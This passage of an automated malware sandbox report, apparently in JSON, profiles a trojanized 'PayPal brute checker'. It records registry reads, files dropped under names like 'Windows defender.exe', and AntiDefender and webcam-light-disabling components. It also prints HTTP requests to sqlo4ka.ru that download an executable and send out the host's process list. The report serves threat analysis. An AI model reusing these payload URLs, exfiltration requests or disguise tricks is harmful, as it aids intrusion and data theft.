00099410-00003540-41033-2463-3F88588C","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2467-3F886178","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2487-3F885EC8","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2462-3F8856C4","GetProcessHeap@KERNEL32.DLL at 00100415-00002736-26168-2127-00B18A21"],"description_v3":[{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetProcessHeap@KERNEL32.DLL"},{"type":"pid","pid":"00002736"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-11","type":6,"relevance":2,"name":"Queries volume information","description":"\"PayPal.exe\" queries volume information of \"C:\\\" at 00099768-00003800-00000046-88283136111\n \"loader.bat\" queries volume information of \"%APPDATA%\\Microsoft\\loader.bat\" at 00099794-00004056-00000046-30038496850\n \"Windows defender.exe\" queries volume information of \"C:\\Media\\Windows defender.exe\" at 00100753-00001696-00000046-63308806935\n \"WatchBull.exe\" queries volume information of \"C:\\Media\\WatchBull.exe\" at 00101338-00001632-00000046-85918407157\n \"fontreview.exe\" queries volume information of \"C:\\Media\\fontreview.exe\" at 00101353-00003544-00000046-96895363931","description_v2":["\"PayPal.exe\" queries volume information of \"C:\\\" at 00099768-00003800-00000046-88283136111","\"loader.bat\" queries volume information of \"%APPDATA%\\Microsoft\\loader.bat\" at 00099794-00004056-00000046-30038496850","\"Windows defender.exe\" queries volume information of \"C:\\Media\\Windows defender.exe\" at 00100753-00001696-00000046-63308806935","\"WatchBull.exe\" queries volume information of \"C:\\Media\\WatchBull.exe\" at 00101338-00001632-00000046-85918407157","\"fontreview.exe\" queries volume information of \"C:\\Media\\fontreview.exe\" at 00101353-00003544-00000046-96895363931"],"description_v3":[{"type":"text","value":"\"PayPal.exe\" queries volume information of \"C:\\\" at 00099768-00003800-00000046-88283136111"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" queries volume information of \"%APPDATA%\\Microsoft\\loader.bat\" at 00099794-00004056-00000046-30038496850"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" queries volume information of \"C:\\Media\\Windows defender.exe\" at 00100753-00001696-00000046-63308806935"},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" queries volume information of \"C:\\Media\\WatchBull.exe\" at 00101338-00001632-00000046-85918407157"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" queries volume information of \"C:\\Media\\fontreview.exe\" at 00101353-00003544-00000046-96895363931"}],"origin":"API Call","attck_id":"T1120","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-39","type":6,"relevance":8,"name":"Queries volume information of an entire harddrive","description":"\"PayPal.exe\" queries volume information of \"C:\\\" at 00099768-00003800-00000046-88283136111","description_v2":["\"PayPal.exe\" queries volume information of \"C:\\\" at 00099768-00003800-00000046-88283136111"],"description_v3":[{"type":"text","value":"\"PayPal.exe\" queries volume information of \"C:\\\" at 00099768-00003800-00000046-88283136111"}],"origin":"API Call","attck_id":"T1120","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-55","type":3,"relevance":10,"name":"Reads the registry for installed applications","description":"$26","description_v2":["\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL.SCR\")","\"PayPalBrute_Checker.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL.SCR\")","\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL BRUTE&CHECKER.EXE\")","\"PayPalBrute_Checker.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL BRUTE&CHECKER.EXE\")","\"PayPal.scr\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","\"PayPal.scr\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","\"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\90CC6E447D345BB1F103751AB038BBCE19190DB6.EXE\")","\"loader.bat\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\90CC6E447D345BB1F103751AB038BBCE19190DB6.EXE\")","\"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","\"loader.bat\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINDOWS DEFENDER.EXE\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINDOWS DEFENDER.EXE\")"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL.SCR\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL.SCR\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL BRUTE&CHECKER.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\PAYPAL BRUTE&CHECKER.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\90CC6E447D345BB1F103751AB038BBCE19190DB6.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\90CC6E447D345BB1F103751AB038BBCE19190DB6.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINDOWS DEFENDER.EXE\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WINDOWS DEFENDER.EXE\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-0","type":7,"relevance":1,"name":"Contacts domains","description":"\"sqlo4ka.ru\"\n \"ipinfo.io\"","description_v2":["\"sqlo4ka.ru\"","\"ipinfo.io\""],"description_v3":[{"type":"text","value":"\"sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"\"ipinfo.io\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-1","type":7,"relevance":1,"name":"Contacts server","description":"\"195.161.41.57:80\"\n \"216.239.34.21:80\"","description_v2":["\"195.161.41.57:80\"","\"216.239.34.21:80\""],"description_v3":[{"type":"text","value":"\"195.161.41.57:80\""},{"type":"linebreak"},{"type":"text","value":"\"216.239.34.21:80\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-7","type":2,"relevance":1,"name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"\n \"powershell.pdb\"\n \"%USERPROFILE%\\source\\repos\\AntiDefender\\AntiDefender\\obj\\Debug\\AntiDefender.pdb\"\n \"\\source\\repos\\dcplg_DisableWebCamLights\\dcplg_DisableWebCamLights\\obj\\Debug\\dcplg_DisableWebCamLights.pdb\"\n \"F:\\Visual Studio\\WatchBull\\WatchBull\\obj\\Debug\\WatchBull.pdb\"\n \"%USERPROFILE%\\source\\repos\\watchdog\\watchdog\\obj\\Debug\\watchdog.pdb\"\n \"F:\\Visual Studio\\regedit\\regedit\\obj\\Debug\\regedit.pdb\"","description_v2":["\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"","\"powershell.pdb\"","\"%USERPROFILE%\\source\\repos\\AntiDefender\\AntiDefender\\obj\\Debug\\AntiDefender.pdb\"","\"\\source\\repos\\dcplg_DisableWebCamLights\\dcplg_DisableWebCamLights\\obj\\Debug\\dcplg_DisableWebCamLights.pdb\"","\"F:\\Visual Studio\\WatchBull\\WatchBull\\obj\\Debug\\WatchBull.pdb\"","\"%USERPROFILE%\\source\\repos\\watchdog\\watchdog\\obj\\Debug\\watchdog.pdb\"","\"F:\\Visual Studio\\regedit\\regedit\\obj\\Debug\\regedit.pdb\""],"description_v3":[{"type":"text","value":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\""},{"type":"linebreak"},{"type":"text","value":"\"powershell.pdb\""},{"type":"linebreak"},{"type":"text","value":"\"%USERPROFILE%\\source\\repos\\AntiDefender\\AntiDefender\\obj\\Debug\\AntiDefender.pdb\""},{"type":"linebreak"},{"type":"text","value":"\"\\source\\repos\\dcplg_DisableWebCamLights\\dcplg_DisableWebCamLights\\obj\\Debug\\dcplg_DisableWebCamLights.pdb\""},{"type":"linebreak"},{"type":"text","value":"\"F:\\Visual Studio\\WatchBull\\WatchBull\\obj\\Debug\\WatchBull.pdb\""},{"type":"linebreak"},{"type":"text","value":"\"%USERPROFILE%\\source\\repos\\watchdog\\watchdog\\obj\\Debug\\watchdog.pdb\""},{"type":"linebreak"},{"type":"text","value":"\"F:\\Visual Studio\\regedit\\regedit\\obj\\Debug\\regedit.pdb\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"stream-15","type":1,"relevance":5,"name":"Contains ability to register hotkeys","description":"RegisterHotKey@USER32.DLL at 00099410-00003540-41033-1172-3F829997","description_v2":["RegisterHotKey@USER32.DLL at 00099410-00003540-41033-1172-3F829997"],"description_v3":[{"type":"text","value":"RegisterHotKey@USER32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-4","type":6,"relevance":1,"name":"Creates a writable file in a temporary directory","description":"\"PayPalBrute_Checker.exe\" created file \"%TEMP%\\nseA6DF.tmp\"\n \"PayPalBrute_Checker.exe\" created file \"%TEMP%\\nsuA6F0.tmp\\System.dll\"\n \"PayPal brute?checker.exe\" created file \"%TEMP%\\autC0FE.tmp\"\n \"PayPal brute?checker.exe\" created file \"%TEMP%\\autC257.tmp\"","description_v2":["\"PayPalBrute_Checker.exe\" created file \"%TEMP%\\nseA6DF.tmp\"","\"PayPalBrute_Checker.exe\" created file \"%TEMP%\\nsuA6F0.tmp\\System.dll\"","\"PayPal brute?checker.exe\" created file \"%TEMP%\\autC0FE.tmp\"","\"PayPal brute?checker.exe\" created file \"%TEMP%\\autC257.tmp\""],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" created file \"%TEMP%\\nseA6DF.tmp\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" created file \"%TEMP%\\nsuA6F0.tmp\\System.dll\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" created file \"%TEMP%\\autC0FE.tmp\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" created file \"%TEMP%\\autC257.tmp\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"mutant-0","type":4,"relevance":3,"name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","description_v2":["\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","\"Local\\ZonesCacheCounterMutex\"","\"Local\\ZonesLockedCacheCounterMutex\""],"description_v3":[{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesCacheCounterMutex\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\ZonesLockedCacheCounterMutex\""}],"origin":"Created Mutant","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"binary-16","type":8,"relevance":10,"name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"autopass.dll\" as clean (type is \"ASCII text with no line terminators\")\n Antivirus vendors marked dropped file \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" as clean (type is \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"), Antivirus vendors marked dropped file \"SQLite.Interop.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")","description_v2":["Antivirus vendors marked dropped file \"autopass.dll\" as clean (type is \"ASCII text with no line terminators\")","Antivirus vendors marked dropped file \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" as clean (type is \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"), Antivirus vendors marked dropped file \"SQLite.Interop.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")"],"description_v3":[{"type":"text","value":"Antivirus vendors marked dropped file \"autopass.dll\" as clean (type is \"ASCII text with no line terminators\")"},{"type":"linebreak"},{"type":"text","value":"Antivirus vendors marked dropped file \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" as clean (type is \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"), Antivirus vendors marked dropped file \"SQLite.Interop.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\")"}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-2","type":7,"relevance":5,"name":"GETs files from a webserver","description":"$27","description_v2":["\"GET /DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe HTTP/1.1","Host: sqlo4ka.ru","Connection: Keep-Alive\"","\"GET /ip HTTP/1.1","Host: ipinfo.io","Connection: Keep-Alive\"","\"GET /DCRS/main.php?data=active HTTP/1.1","Host: sqlo4ka.ru","Connection: Keep-Alive\"","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\"","\"GET /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.f71e66d9c0a9fa3301b2f8e4024967bc HTTP/1.1","Host: sqlo4ka.ru\"","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\""],"description_v3":[{"type":"text","value":"\"GET /DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru"},{"type":"linebreak"},{"type":"text","value":"Connection: Keep-Alive\""},{"type":"linebreak"},{"type":"text","value":"\"GET /ip HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: ipinfo.io"},{"type":"linebreak"},{"type":"text","value":"Connection: Keep-Alive\""},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/main.php?data=active HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru"},{"type":"linebreak"},{"type":"text","value":"Connection: Keep-Alive\""},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.f71e66d9c0a9fa3301b2f8e4024967bc HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-2","type":10,"relevance":0,"name":"Loads rich edit control libraries","description":"\"PayPal.scr\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73C00000\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73B40000","description_v2":["\"PayPal.scr\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73C00000","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73B40000"],"description_v3":[{"type":"text","value":"\"PayPal.scr\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73C00000"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 73B40000"}],"origin":"Loaded Module","attck_id":"T1179","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-3","type":10,"relevance":0,"name":"Loads the .NET runtime environment","description":"$28","description_v2":["\"loader.bat\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\5d0c037297cc1a64b52ce43b45c2ac2e\\mscorlib.ni.dll\" at E9770000","\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\199dd46435d7fdbbe590cccd8c8ae9cb\\mscorlib.ni.dll\" at 71E10000","\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at EF7B0000","\"Windows defender.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 70E90000","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E9E30000","\"WatchBull.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 6FB30000","\"fontreview.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 70E90000"],"description_v3":[{"type":"text","value":"\"loader.bat\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\5d0c037297cc1a64b52ce43b45c2ac2e\\mscorlib.ni.dll\" at E9770000"},{"type":"linebreak"},{"type":"text","value":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\199dd46435d7fdbbe590cccd8c8ae9cb\\mscorlib.ni.dll\" at 71E10000"},{"type":"linebreak"},{"type":"text","value":"\"powershell.exe\" loaded module 